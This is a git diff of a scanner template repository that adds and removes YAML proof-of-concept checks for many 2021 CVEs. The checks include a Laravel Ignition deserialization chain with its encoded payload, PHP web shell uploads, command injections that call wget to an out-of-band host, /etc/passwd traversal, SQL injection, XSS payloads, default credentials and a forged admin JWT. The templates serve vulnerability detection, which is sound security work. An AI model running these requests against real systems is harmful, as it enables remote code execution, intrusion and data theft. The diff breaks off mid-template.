application/json - - {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}} - - | - POST /_ignition/execute-solution HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Content-Type: application/json - - {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "AA"}} - - | - POST /_ignition/execute-solution HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Content-Type: application/json - - {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4C=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=45=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=56=00=6D=00=46=00=73=00=61=00=57=00=52=00=68=00=64=00=47=00=6C=00=76=00=62=00=6C=00=78=00=57=00=59=00=57=00=78=00=70=00=5A=00=47=00=46=00=30=00=62=00=33=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=6D=00=56=00=34=00=64=00=47=00=56=00=75=00=63=00=32=00=6C=00=76=00=62=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=77=00=4F=00=69=00=49=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=33=00=4D=00=36=00=4D=00=6A=00=6F=00=69=00=61=00=57=00=51=00=69=00=4F=00=33=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=63=00=4A=00=39=00=59=00=36=00=5A=00=6B=00=50=00=61=00=39=00=61=00=45=00=49=00=51=00=49=00=45=00=47=00=30=00=6B=00=4A=00=2B=00=39=00=4A=00=50=00=6B=00=4C=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"}} - - | - POST /_ignition/execute-solution HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Content-Type: application/json - - {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}} - - | - POST /_ignition/execute-solution HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Content-Type: application/json - - {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "phar://../storage/logs/laravel.log/test.txt"}} - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "uid=" - - "gid=" - - "groups=" - - "Illuminate" - condition: and - - - type: status - status: - - 500 - - extractors: - - type: regex - regex: - - "(u|g)id=.*" - -# digest: 4a0a00473045022100c6308e8a385d5456d3d4a6c9ff4fba41345787cf5f95d5a9b0641ef5293d07d50220324074ccb7a80ecc48ad853af5db9aa00f3d35ff61823430822705c3a9063c53:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/cve-2021-31862-6120.yaml b/poc/cve/cve-2021-31862-6120.yaml new file mode 100644 index 0000000000..18a6c905b3 --- /dev/null +++ b/poc/cve/cve-2021-31862-6120.yaml @@ -0,0 +1,26 @@ +id: CVE-2021-31862 +info: + name: SysAid - Reflected XSS + author: jas37 + severity: medium + description: SysAid 20.4.74 allows XSS via the KeepAlive.jsp stamp parameter without any authentication. + reference: + - https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md + - https://nvd.nist.gov/vuln/detail/CVE-2021-31862 + - https://www.sysaid.com/product/on-premise/latest-release + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-31862 + cwe-id: CWE-79 + tags: cve,cve2021,xss,sysaid +requests: + - method: GET + path: + - '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E' + matchers: + - type: dsl + dsl: + - '(body == "false ")' + - 'status_code == 200' + condition: and diff --git a/poc/cve/cve-2021-32172-6126.yaml b/poc/cve/cve-2021-32172-6126.yaml deleted file mode 100644 index 42e5ed1026..0000000000 --- a/poc/cve/cve-2021-32172-6126.yaml +++ /dev/null @@ -1,51 +0,0 @@ -id: CVE-2021-32172 -info: - name: Maian Cart <=3.8 - Remote Code Execution - author: pdteam - severity: critical - description: Maian Cart 3.0 to 3.8 via the elFinder file manager plugin contains a remote code execution vulnerability. - reference: - - https://dreyand.github.io/maian-cart-rce/ - - https://github.com/DreyAnd/maian-cart-rce - - https://www.maianscriptworld.co.uk/critical-updates - - https://nvd.nist.gov/vuln/detail/CVE-2021-32172 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-32172 - cwe-id: CWE-862 - tags: cve,cve2021,rce,unauth,maian -requests: - - raw: - - | - GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name={{randstr}}.php&target=l1_Lw HTTP/1.1 - Host: {{Hostname}} - Accept: */* - - | - POST /admin/index.php?p=ajax-ops&op=elfinder HTTP/1.1 - Host: {{Hostname}} - Accept: application/json, text/javascript, /; q=0.01 - Accept-Language: en-US,en;q=0.5 - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - - cmd=put&target={{hash}}&content=%3c%3fphp%20echo%20%22{{randstr_1}}%22%3b%20%3f%3e - - | - GET /product-downloads/{{randstr}}.php HTTP/1.1 - Host: {{Hostname}} - Accept: */* - extractors: - - type: regex - name: hash - internal: true - group: 1 - regex: - - '"hash"\:"(.*?)"\,' - req-condition: true - matchers: - - type: dsl - dsl: - - 'contains(body_3, "{{randstr_1}}")' - - "status_code_3 == 200" - condition: and - -# Enhanced by mp on 2022/05/18 diff --git a/poc/cve/cve-2021-3223(1).yaml b/poc/cve/cve-2021-3223(1).yaml deleted file mode 100644 index 8507a7009f..0000000000 --- a/poc/cve/cve-2021-3223(1).yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2021-3223 -info: - name: Node RED Dashboard - Directory Traversal - author: gy741,pikpikcu - severity: high - description: Node-RED-Dashboard before 2.26.2 allows ui_base/js/..%2f directory traversal to read files. - reference: - - https://github.com/node-red/node-red-dashboard/issues/669 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3223 - - https://github.com/node-red/node-red-dashboard/releases/tag/2.26.2 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-3223 - cwe-id: CWE-22 - metadata: - verified: true - shodan-query: title:"Node-RED" - fofa-query: title="Node-RED" - tags: cve,cve2021,node-red-dashboard,lfi -requests: - - method: GET - path: - - '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd' - - '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js' - matchers-condition: or - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - type: word - part: body - words: - - "Node-RED web server is listening" diff --git a/poc/cve/cve-2021-32305-6134.yaml b/poc/cve/cve-2021-32305-6134.yaml deleted file mode 100644 index 5c6c729e5b..0000000000 --- a/poc/cve/cve-2021-32305-6134.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2021-32305 -info: - name: Websvn <2.6.1 - Remote Code Execution - author: gy741 - severity: critical - description: WebSVN before 2.6.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the search parameter. - reference: - - https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html - - https://github.com/websvnphp/websvn/pull/142 - - http://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html - - https://nvd.nist.gov/vuln/detail/CVE-2021-32305 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-32305 - cwe-id: CWE-78 - tags: cve,cve2021,websvn,rce,oast -requests: - - raw: - - | - GET /search.php?search=%22;wget+http%3A%2F%2F{{interactsh-url}}%27;%22 HTTP/1.1 - Host: {{Hostname}} - Accept-Encoding: gzip, deflate - Accept: */* - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - -# Enhanced by mp on 2022/05/18 diff --git a/poc/cve/cve-2021-32820-6148.yaml b/poc/cve/cve-2021-32820-6148.yaml new file mode 100644 index 0000000000..b55b19322b --- /dev/null +++ b/poc/cve/cve-2021-32820-6148.yaml @@ -0,0 +1,20 @@ +id: CVE-2021-32820 +info: + name: File disclosure in Express Handlebars + author: geeknik + description: By allowing template engine configuration options to be passed through the Express render API directly, downstream users of an Express template engine may inadvertently introduce insecure behavior into their applications with impacts ranging from Cross Site Scripting (XSS) to Remote Code Execution (RCE). + reference: https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/ + severity: medium + tags: cve,cve2021,express,handlebars,disclosure +requests: + - method: GET + path: + - "{{BaseURL}}/?layout=/etc/resolv.conf" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "nameserver " diff --git a/poc/cve/cve-2021-32853-6155.yaml b/poc/cve/cve-2021-32853-6155.yaml new file mode 100644 index 0000000000..325466cff1 --- /dev/null +++ b/poc/cve/cve-2021-32853-6155.yaml @@ -0,0 +1,31 @@ +id: CVE-2021-32853 +info: + name: Erxes <= v0.23.0 XSS + author: dwisiswant0 + severity: medium + description: Erxes prior to version 0.23.0 is vulnerable to cross-site scripting.The value of topicID parameter is not escaped & triggered in the enclosing script tag. + reference: + - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/ + - https://nvd.nist.gov/vuln/detail/CVE-2021-3285 + metadata: + shodan-query: http.title:"erxes" + tags: cve,cve2021,xss,erxes,oss +requests: + - method: GET + path: + - "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'topic_id: "' + - "window.erxesEnv" + condition: and + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/poc/cve/cve-2021-35336-6247.yaml b/poc/cve/cve-2021-35336-6247.yaml deleted file mode 100644 index ad2bd833dd..0000000000 --- a/poc/cve/cve-2021-35336-6247.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-35336 -info: - name: Unauthorised Remote Access of Internal Panel - author: Pratik Khalane - severity: critical - description: Finding the Tieline Admin Panels with default credentials. - reference: - - https://pratikkhalane91.medium.com/use-of-default-credentials-to-unauthorised-remote-access-of-internal-panel-of-tieline-c1ffe3b3757c - - https://nvd.nist.gov/vuln/detail/CVE-2021-35336 - tags: cve,cve2021,tieline,default-login - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2021-35336 - cwe-id: CWE-863 -requests: - - method: GET - path: - - '{{BaseURL}}/api/get_device_details' - headers: - Referer: '{{BaseURL}}/assets/base/home.html' - Authorization: 'Digest username="admin", realm="Bridge-IT", nonce="d24d09512ebc3e43c4f6faf34fdb8c76", uri="/api/get_device_details", response="d052e9299debc7bd9cb8adef0a83fed4", qop=auth, nc=00000001, cnonce="ae373d748855243d"' - # admin:password - matchers-condition: and - matchers: - - type: word - words: - - "" - - "" - condition: and - - type: word - words: - - "text/xml" - part: header - - type: status - status: - - 200 diff --git a/poc/cve/cve-2021-36356(1).yaml b/poc/cve/cve-2021-36356(1).yaml new file mode 100644 index 0000000000..fc0224ed28 --- /dev/null +++ b/poc/cve/cve-2021-36356(1).yaml @@ -0,0 +1,35 @@ +id: CVE-2021-36356 +info: + name: Kramer VIAware - Remote Code Execution + author: gy741 + severity: critical + description: KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames. + reference: + - https://www.exploit-db.com/exploits/50856 + - https://nvd.nist.gov/vuln/detail/CVE-2021-36356 + - https://nvd.nist.gov/vuln/detail/CVE-2021-35064 + - https://write-up.github.io/kramerav/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-36356 + cwe-id: CWE-434 + tags: rce,viaware,cve,cve2021,kramer +requests: + - raw: + - | + POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + radioBtnVal=%3C%3Fphp%0A++++++++if%28isset%28%24_GET%5B%27cmd%27%5D%29%29%0A++++++++%7B%0A++++++++++++system%28%24_GET%5B%27cmd%27%5D%29%3B%0A++++++++%7D%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php + - | + GET /{{randstr}}.php?cmd=sudo%20rpm%20--eval%20'%25%7Blua:os.execute(%22wget%20http://{{interactsh-url}}%22)%7D' HTTP/1.1 + Host: {{Hostname}} + matchers: + - type: word + part: interactsh_protocol + words: + - "http" + +# Enhanced by mp on 2022/05/18 diff --git a/poc/cve/cve-2021-36450(1).yaml b/poc/cve/cve-2021-36450(1).yaml new file mode 100644 index 0000000000..7220501c25 --- /dev/null +++ b/poc/cve/cve-2021-36450(1).yaml @@ -0,0 +1,55 @@ +id: CVE-2021-36450 +info: + name: Verint 15.2 - Cross Site Scripting + author: atomiczsec + severity: medium + description: Verint Workforce Optimization (WFO) 15.2.8.10048 allows XSS via the control/my_notifications NEWUINAV parameter. + reference: + - https://medium.com/@1nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740 + - https://sushantvkamble.blogspot.com/2021/11/cross-site-scripting-xss.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-36450 + - http://verint.com + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-36450 + cwe-id: CWE-79 + metadata: + shodan-query: title:"Verint Sign-in" + verified: "true" + tags: cve,cve2021,xss,verint +requests: + - raw: + - | + GET /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3C%2Fh1%3E26 HTTP/1.1 + Host: {{Hostname}} + - | + POST /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3Ch1%3E%26 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + browserCheckEnabled=true&username=admin&language=en_US&defaultHttpPort=80&screenHeight=1080&screenWidth=1920&pageModelType=0&pageDirty=false&pageAction=Login&csrfp_login={{csrfp_login}} + redirects: true + max-redirects: 2 + cookie-reuse: true + extractors: + - type: regex + part: header + internal: true + name: csrfp_login + group: 1 + regex: + - 'csrfp_login=([a-zA-Z0-9]+);' + matchers-condition: and + matchers: + - type: word + part: body + words: + - '">

Test

26" class="loginUserNameText' + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/poc/cve/cve-2021-36748-6274.yaml b/poc/cve/cve-2021-36748-6274.yaml new file mode 100644 index 0000000000..7f5d71f85e --- /dev/null +++ b/poc/cve/cve-2021-36748-6274.yaml @@ -0,0 +1,35 @@ +id: CVE-2021-36748 +info: + name: PrestaHome Blog for PrestaShop - SQL Injection + author: whoever + severity: high + description: Blog for PrestaShop by PrestaHome < 1.7.8 is vulnerable to a SQL injection (blind) via sb_category parameter. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-36748 + - https://blog.sorcery.ie/posts/ph_simpleblog_sqli/ + - https://alysum5.promokit.eu/promokit/documentation/blog/ + - https://blog.sorcery.ie + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-36748 + cwe-id: CWE-89 + tags: cve,cve2021,prestashop,prestahome,sqli,cms +requests: + - raw: + - | + GET /module/ph_simpleblog/list?sb_category=')%20OR%20true--%20- HTTP/1.1 + Host: {{Hostname}} + - | + GET /module/ph_simpleblog/list?sb_category=')%20AND%20false--%20- HTTP/1.1 + Host: {{Hostname}} + req-condition: true + matchers: + - type: dsl + dsl: + - "status_code_1 == 200" + - "status_code_2 == 404" + - 'contains(body_1, "prestashop")' + - "contains(tolower(all_headers_2), 'index.php?controller=404')" + - "len(body_2) == 0" + condition: and diff --git a/poc/cve/cve-2021-37416(1).yaml b/poc/cve/cve-2021-37416(1).yaml new file mode 100644 index 0000000000..3f2ac17b38 --- /dev/null +++ b/poc/cve/cve-2021-37416(1).yaml @@ -0,0 +1,38 @@ +id: CVE-2021-37416 +info: + name: Zoho ManageEngine ADSelfService Plus - Reflected XSS + author: edoardottt + severity: medium + description: Zoho ManageEngine ADSelfService Plus version 6103 and prior is vulnerable to reflected XSS on the loadframe page. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-37416 + cwe-id: CWE-79 + metadata: + shodan-query: http.title:"ManageEngine" + verified: true + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-37416 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37416 + - https://blog.stmcyber.com/vulns/cve-2021-37416/ + tags: cve,cve2021,zoho,xss +requests: + - method: GET + path: + - "{{BaseURL}}/LoadFrame?frame_name=x&src=x&single_signout=x%27%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + part: header + words: + - "text/html" + - type: word + part: body + words: + - ">" + - "adsf/js/" + condition: and diff --git a/poc/cve/cve-2021-37573-6288.yaml b/poc/cve/cve-2021-37573-6288.yaml new file mode 100644 index 0000000000..f1ffb3c844 --- /dev/null +++ b/poc/cve/cve-2021-37573-6288.yaml @@ -0,0 +1,31 @@ +id: CVE-2021-37573 +info: + name: Tiny Java Web Server - Reflected XSS + author: geeknik + severity: medium + reference: + - https://seclists.org/fulldisclosure/2021/Aug/13 + tags: cve,cve2021,xss,tjws,java + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-37573 + cwe-id: CWE-79 + description: "A reflected cross-site scripting (XSS) vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's \"404 Page not Found\" error page" +requests: + - method: GET + path: + - "{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est" + matchers-condition: and + matchers: + - type: status + status: + - 404 + - type: word + part: body + words: + - "

404 test not found

" + - type: word + part: header + words: + - text/html diff --git a/poc/cve/cve-2021-37580-6292.yaml b/poc/cve/cve-2021-37580-6292.yaml deleted file mode 100644 index 326f01e24f..0000000000 --- a/poc/cve/cve-2021-37580-6292.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2021-37580 -info: - name: Apache ShenYu Admin JWT - Authentication Bypass - author: pdteam - severity: critical - description: Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-37580 - - https://github.com/fengwenhua/CVE-2021-37580 - - https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb - - http://www.openwall.com/lists/oss-security/2021/11/16/1 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-37580 - cwe-id: CWE-287 - tags: cve,cve2021,apache,jwt,shenyu -requests: - - raw: - - | - GET /dashboardUser HTTP/1.1 - Host: {{Hostname}} - X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk - matchers-condition: and - matchers: - - type: word - words: - - 'query success' - - '"userName":"admin"' - - '"code":200' - condition: and - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/02 diff --git a/poc/cve/cve-2021-37589(1).yaml b/poc/cve/cve-2021-37589(1).yaml new file mode 100644 index 0000000000..f10ff799c2 --- /dev/null +++ b/poc/cve/cve-2021-37589(1).yaml @@ -0,0 +1,55 @@ +id: CVE-2021-37589 +info: + name: Virtua Software Cobranca <12R - Blind SQL Injection + author: princechaddha + severity: high + description: | + Virtua Cobranca before 12R allows blind SQL injection on the login page. + reference: + - https://github.com/luca-regne/my-cves/tree/main/CVE-2021-37589 + - https://www.virtuasoftware.com.br/ + - https://www.virtuasoftware.com.br/conteudo.php?content=downloads&lang=pt-br + - https://nvd.nist.gov/vuln/detail/CVE-2021-37589 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-37589 + cwe-id: CWE-89 + metadata: + shodan-query: http.favicon.hash:876876147 + verified: "true" + tags: cve,cve2021,virtua,sqli +requests: + - raw: + - | + POST /controller/origemdb.php?idselorigem=ATIVOS HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + - | + POST /controller/login.php?acao=autenticar HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + X-Requested-With: XMLHttpRequest + + idusuario='&idsenha=test&tipousr=Usuario + - | + POST /controller/login.php?acao=autenticar HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + X-Requested-With: XMLHttpRequest + + idusuario=''&idsenha=a&tipousr=Usuario + cookie-reuse: true + req-condition: true + matchers-condition: and + matchers: + - type: dsl + dsl: + - 'contains(body_3, "Os parametros não estão informados corretamente")' + - 'contains(body_3, "O CNPJ dos parametro não está informado corretamente")' + condition: or + - type: dsl + dsl: + - "status_code_2 == 500 && status_code_3 == 200" + +# Enhanced by mp on 2022/06/30 diff --git a/poc/cve/cve-2021-37833-6297.yaml b/poc/cve/cve-2021-37833-6297.yaml deleted file mode 100644 index 67549658f1..0000000000 --- a/poc/cve/cve-2021-37833-6297.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-37833 -info: - name: Hotel Druid 3.0.2 XSS - author: pikpikcu - severity: medium - description: Reflected cross-site scripting (XSS) vulnerability exists in multiple pages in version 3.0.2 of the Hotel Druid application that allows for arbitrary execution of JavaScript commands. - reference: - - https://github.com/dievus/CVE-2021-37833 - - https://nvd.nist.gov/vuln/detail/CVE-2021-37833 - - https://www.hoteldruid.com - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-37833 - cwe-id: CWE-79 - tags: cve,cve2021,hoteldruid,xss -requests: - - method: GET - path: - - '{{BaseURL}}/visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ew5px3=1' - - '{{BaseURL}}/storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1' - - '{{BaseURL}}/tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1' - - '{{BaseURL}}/crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ef9xkbujgt24&form_availability_calendar_template=1' - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - words: - - '' - part: body - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2021-37859(1).yaml b/poc/cve/cve-2021-37859(1).yaml deleted file mode 100644 index cade6b445d..0000000000 --- a/poc/cve/cve-2021-37859(1).yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: CVE-2021-37859 -info: - name: Mattermost XSS - author: 0x_Akoko - severity: medium - description: reflected Cross-Site Scripting (XSS) via the OAuth flow - tags: cve,cve2021,xss -requests: - - method: GET - path: - - "{{BaseURL}}/oauth/shielder/mobile_login?redirect_to=%22%3E%3Cimg%20src%3D%22%22%20onerror%3D%22alert(document.domain)%22%3E" - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - condition: and - - type: word - words: - - "text/html" - part: header diff --git a/poc/cve/cve-2021-38702-6314.yaml b/poc/cve/cve-2021-38702-6314.yaml deleted file mode 100644 index cf51a9d3b3..0000000000 --- a/poc/cve/cve-2021-38702-6314.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2021-38702 - -info: - name: Cyberoam NetGenie XSS - author: geeknik - severity: medium - description: Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 allow for reflected Cross Site Scripting via the 'u' parameter of ft.php. - reference: https://seclists.org/fulldisclosure/2021/Aug/20 - tags: cve,cve2021,cyberoam,netgenie,xss,router - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-38702 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - "{{BaseURL}}/tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - - matchers-condition: and - matchers: - - type: word - words: - - "" - - - type: word - words: - - "text/html" - part: header - - - type: status - status: - - 200 diff --git a/poc/cve/cve-2021-39211(1).yaml b/poc/cve/cve-2021-39211(1).yaml new file mode 100644 index 0000000000..0847c7cf42 --- /dev/null +++ b/poc/cve/cve-2021-39211(1).yaml @@ -0,0 +1,31 @@ +id: CVE-2021-39211 +info: + name: GLPI Telemetry Disclosure + author: dogasantos,noraj + severity: medium + description: GLPI => 9.2 and < 9.5.6, the telemetry endpoint discloses GLPI and server information. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-39211 + - https://github.com/glpi-project/glpi/security/advisories/GHSA-xx66-v3g5-w825 + - 